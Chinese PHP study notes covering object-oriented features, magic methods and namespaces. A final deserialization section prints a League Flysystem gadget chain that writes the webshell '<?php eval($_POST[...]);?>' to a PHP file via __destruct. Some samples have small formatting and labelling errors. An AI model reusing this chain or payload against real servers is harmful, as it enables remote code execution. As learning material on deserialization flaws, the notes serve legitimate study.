类与对象：

```php
<?php
class person {
    /* 成员变量 */
    var $name;
    var $age;    /* 成员函数 */
    function setName($name){
        $this->name = $name;
        }

    function setAge($age){
        $this->age = $age;
        }

    function getName(){
        echo $this->name . PHP_EOL;
        }

    function getAge(){
        echo $this->age . PHP_EOL;
        }
}
?>
```

1.构造函数：

```php
//对象被创建时调用
void __construct ([ mixed $args [, $... ]] )

 function __construct( $name, $age ) {
   $this->name = $name;
   $this->age = $age;
}
```

```

```

2.析构函数：

```
//对象被摧毁后调用
function __destruct() {
        print "销毁 " . $this->name . "\n";
    }


```

3. 继承：

```
//继承父类后，具备父类的大部分方法与变量
class Child extends Person{

}
```

4. 方法重写：

```
// 重写父类的方法
function getName() {
    echo $this->name . PHP_EOL;
    return $this->name;
}

function getAge(){
    echo $this->age . PHP_EOL;
    return $this->age;
}

```

5. 访问控制：

- **public（公有）**：公有的类成员可以在任何地方被访问。
- **protected（受保护）**：受保护的类成员则可以被其自身以及其子类和父类访问。
- **private（私有）**：私有的类成员则只能被其定义所在的类访问。

```php
<?php
class Person
{
    // 声明一个公有的构造函数
    public function __construct() { }


    // 声明一个公有的方法
    public function func1() {
        echo '这里是公有方法';
        }

    // 声明一个受保护的方法
    protected function func2(){
        echo '这里是收保护的方法';
        }
    // 声明一个私有的方法
    private function func3() {
        echo '这里时私有方法';
        }

    // 此方法为公有
    function test()
    {
        $this->func1(); // 正常执行
        $this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用

        $this->func3();// 正常执行 private私有方法,可以被自身其他方法调用，子类不行
         }
}

```

```php
$class = new Person();
$class->func1(); // 正常执行
# $class->func2(); // 被protected修饰的方法 只能在类方法中被调用#
$class->func3(); // 被private修饰的方法 只能在类方法中被调用
$class->test(); // 公有，受保护，私有都可以执行
class Superman extends Person
{
    // 此方法为公有
    function test2()
    {
        $this->func1();
        $this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用

        # $this->func3(); // 不能正常执行 private私有方法,可以被自身其他方法调用，子类不行

        }
}

$myclass2 = new Superman();
$myclass2->test(); // 这行能被正常执行
$myclass2->test2(); // 公有的和受保护的都可执行，但私有的不行
```

6. 接口

```php
<?php
// 声明一个'interfaceDemo'接口
interface interfaceDemo
{
    public function echo_flag($flag);
    //不能添加已经被实现的方法
    }


// 实现接口 ,关键词implements
class Demo implements interfaceDemo
{
    public function echo_flag($flag){
        echo $flag;
```

```
        }
}

```

7. 常量

```php
<?php
class MyClass
{
    const constant = '常量值';

    function showConstant() {
        echo  self::constant . PHP_EOL;
    }
}
```

8. 抽象类

```php
<?php
abstract class AbstractClass
{
    abstract protected function echo_flag($flag);
    public function echo_flag2($flag){
     echo $flag2;
     //不能添加已经被实现的方法
    }

}


// 实现接口
class Demo extends AbstractClass
```

```
{

    public function echo_flag($flag){
        echo $flag;
         }
}

```

9. Static

静态方法

```php
<?php
class Foo {
  public static $my_static = 'foo';

  public function staticValue() {
     return self::$my_static;
  }
}

print Foo::$my_static . PHP_EOL;
$foo = new Foo();

print $foo->staticValue() . PHP_EOL;
?>

```

10. Final

如果父类中的方法被声明为 final，则子类无法覆盖该方法。如果一个类被声明为 final，则不能被继承。

```php
<?php
class BaseClass {
```

```php
    public function test() {
        echo "BaseClass::test() called" . PHP_EOL;
    }

    final public function moreTesting() {
        echo "BaseClass::moreTesting() called"  . PHP_EOL;
    }
}

class ChildClass extends BaseClass {
    public function moreTesting() {
        echo "ChildClass::moreTesting() called"  . PHP_EOL;
    }
}
// 报错信息 Fatal error: Cannot override final method BaseClass::moreTesting()
?>

```

11. 调用父类构造方法

```php
<?php
class BaseClass {
    function __construct() {
        print "BaseClass 类中构造方法" . PHP_EOL;
    }
}
class SubClass extends BaseClass {
    function __construct() {
        parent::__construct();  // 子类构造方法不能自动调用父类的构造方法
        print "SubClass 类中构造方法" . PHP_EOL;
    }
}
class OtherSubClass extends BaseClass {
     // 继承 BaseClass 的构造方法
}

// 调用 BaseClass 构造方法
```

```php
$obj = new BaseClass();

// 调用 BaseClass、SubClass 构造方法
$obj = new SubClass();

// 调用 BaseClass 构造方法
$obj = new OtherSubClass();
?>

```

12. 魔术方法

```

__construct()
实例化类时自动调用

__destruct()
类对象使用结束时自动调用

__set()
在给未定义的属性赋值时自动调用

__get()
调用未定义的属性时自动调用

__isset()
使用 isset() 或 empty() 函数时自动调用

__unset()
使用 unset() 时自动调用

__sleep()
使用 serialize 序列化时自动调用

__wakeup()
使用 unserialize 反序列化时自动调用

```

```
__call()
调用一个不存在的方法时自动调用

__callStatic()
调用一个不存在的静态方法时自动调用

__toString()
把对象转换成字符串时自动调用

__invoke()
当尝试把对象当方法调用时自动调用

__set_state()
当使用 var_export() 函数时自动调用，接受一个数组参数

__clone()
当使用 clone 复制一个对象时自动调用

__debugInfo()
使用 var_dump() 打印对象信息时自动调用

__autoload()
尝试加载未定义的类

```

13. 魔术常量

1. __LINE__

```php
<?php
echo '这是第 " '  . __LINE__ . ' " 行';
?>
```

2. __FILE__

```php
<?php
echo '该文件位于 " '  . __FILE__ . ' " ';
```

```
?>
```

3. __DIR__

```
<?php
echo '该文件位于 " '  . __DIR__ . ' " ';
?>
```

4. __FUNCTION__

```
<?php
function test() {
    echo  '函数名为: ' . __FUNCTION__ ;
}
test();
?>
```

5. __CLASS__

```
<?php
class test {
    function _print() {
        echo '类名为: '  . __CLASS__ . "<br>";
        echo  '函数名为: ' . __FUNCTION__ ;
    }
}
$t = new test();
$t->_print();
?>
```

6. __TRAIT__

```
<?php
class Base {
    public function sayHello() {
```

```php
        echo 'Hello ';
    }
}

trait SayWorld {
    public function sayHello() {
        parent::sayHello();
        echo 'World!';
    }
}

class MyHelloWorld extends Base {
    use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>
```

7. __TRAIT__

```php
<?php
function test() {
    echo  '函数名为: ' . __METHOD__ ;
}
test();
?>
```

8. __NAMESPACE__

```php
<?php
namespace MyProject;

echo '命名空间为: "', __NAMESPACE__, '"'; // 输出 "MyProject"
?>
```

命名空间

1. 定义命名空间

```php
<?php
////////////////////////////////////
namespace Space1;const flag = 1;
function func() {
    echo '这里是Space1';}
////////////////////////////////////
namespace Space2;
const flag = 2;
function func() {
    echo '这里是Space2';}
// 默认会使用前面的命名空间对应的函数
func();
// 选择命名空间调用函数\Space1\func();\Space2\
func();?>
```

2. 子命名空间

```php
<?php
namespace Space1;function func() {
    echo '这里是Space1';}

namespace Space1\Son1;
function func() {
    echo '这里是Son1';}

namespace Space1\Son2;
function func() {
    echo '这里是Son2';}
```

```php

func();
\Space1\Son1\func();
\Space1\func();
?>
```

3. 命名空间使用

```php
<?php
namespace Space1;
//包含一个文件,可以调用这个方法中的类，变量，方法。。。
//但由于php无法直接区分，哪些代码是那个文件中的，
//因此必须设置一个命名空间，
//否则不同文件中的类，变量，方法。。。就会混淆
include 'demo.php';
function func() {
    echo '这里是Space1';}

namespace Space1\Son1;
//声明分层次的单个命名空间
function func() {
    echo '这里是Son1';
    }

namespace Space1\Son2;
//声明分层次的单个命名空间
function func() {
    echo '这里是Son2';
    }

namespace Space1\Son2\grandson;
//声明分层次的单个命名空间
function func() {
    echo '这里是grandson';
    }

func();
```

```php
\Space1\Son2\func();
\Space1\Son1\func();
\Space1\func();
?>
```

4. 动态语言特征

```php
<?phpnamespace Space2;function func() {
    echo '这里是Space2';}

namespace Space2\son;
const DEMO = '这是一个常量';
function func() {
    echo '这里是Space2的son';}

class classDemo{
    public function __construct()
    {
        echo 'classDemo被创建';
    }
}

?>

 <?phpnamespace Space1;
//包含一个文件,可以调用这个方法中的类，变量，方法。。。
//但由于php无法直接区分，哪些代码是那个文件中的，
//因此必须设置一个命名空间，/
/否则不同文件中的类，变量，方法。。。就会混淆
include 'demo.php';

//动态调用
// 动态调用常量
$a = '\Space2\son\DEMO';
echo constant($a);
// 动态调用方法
```

```php
$b = '\Space2\son\func';
$b();
$c = '\Space2\son\classDemo';
$d = new $c;
?>
```

5. __NAMESPACE__

```php
<?php
namespace Space;
// 输出当前命名空间的名字 "Spacet"
echo '"', __NAMESPACE__, '"';
?>

```

6. 别名/导入

```php
use Space2\son\classDemo as Demo;
$obj = new Demo();

use Space2\son\classDemo
$obj = new classDemo();
```

7. 全局类调用

```php
<?php
namespace A\B\C;
class Exception extends \Exception {}

// $a 是类 A\B\C\Exception 的一个对象
```

```php
$a = new Exception('end');
// $b 是类 Exception 的一个对象
$b = new \Exception('end');
throw $a;
?>
```

反序列化

```php
/入口点位置：
namespace League\Flysystem\Cached\Storage
{

    abstract class AbstractCache
    {
    //属性值为false，才可以调用该save方法
        protected $autosave = false;

    // 一句话代码，也是最后写入文件的内容
        protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];

        protected $complete = [];

        public function cleanContents(array $contents)
        {
            $cachedProperties = array_flip([
                'path', 'dirname', 'basename', 'extension', 'filename',
                'size', 'mimetype', 'visibility', 'timestamp', 'type',
                'md5',
            ]);

            foreach ($contents as $path => $object) {
                if (is_array($object)) {
                    $contents[$path] = array_intersect_key($object, $cachedProperties);
                }
            }

            return $contents;
```

```
30          }
31
32          public function __destruct()
33          {
34              //autoSave参数为false
35              if (! $this->autosave) {
36                  $this->save();
37              }
38          }
39      }
40
41      use League\Flysystem\AdapterInterface;
42      use League\Flysystem\Config;
43
44      class Adapter extends AbstractCache
45      {
46      //适配器，也就是我们要利用write方法的类
47          protected $adapter;
48          protected $expire = null;
49      //文件名，写入文件的文件名
50          protected $file = 'abcd.php';
51
52          public function __construct($local)
53          {
54              //方便生成的属性为local类对象，所以直接写到构造方法里了
55              $this->adapter = $local;
56          }
57
58          public function getForStorage()
59          {
60              //不用担心这个函数，它也没把我们的写入的内容怎么地
61              $cleaned = $this->cleanContents($this->cache);
62
63              return json_encode([$cleaned, $this->complete, $this->expire]);
64          }
65
66          public function save()
67          {
68              $config = new Config();//为了方便，这个参数可以随便写一下，
```

```
            //但是如果随便写，下面的write定义的部分记得把传参约定的类型去掉（要不然php7过不了）
            $contents = $this->getForStorage();

            if ($this->adapter->has($this->file)) {
                $this->adapter->update($this->file, $contents, $config);
            } else {
                $this->adapter->write($this->file, $contents, $config);
            }
        }
    }
}
```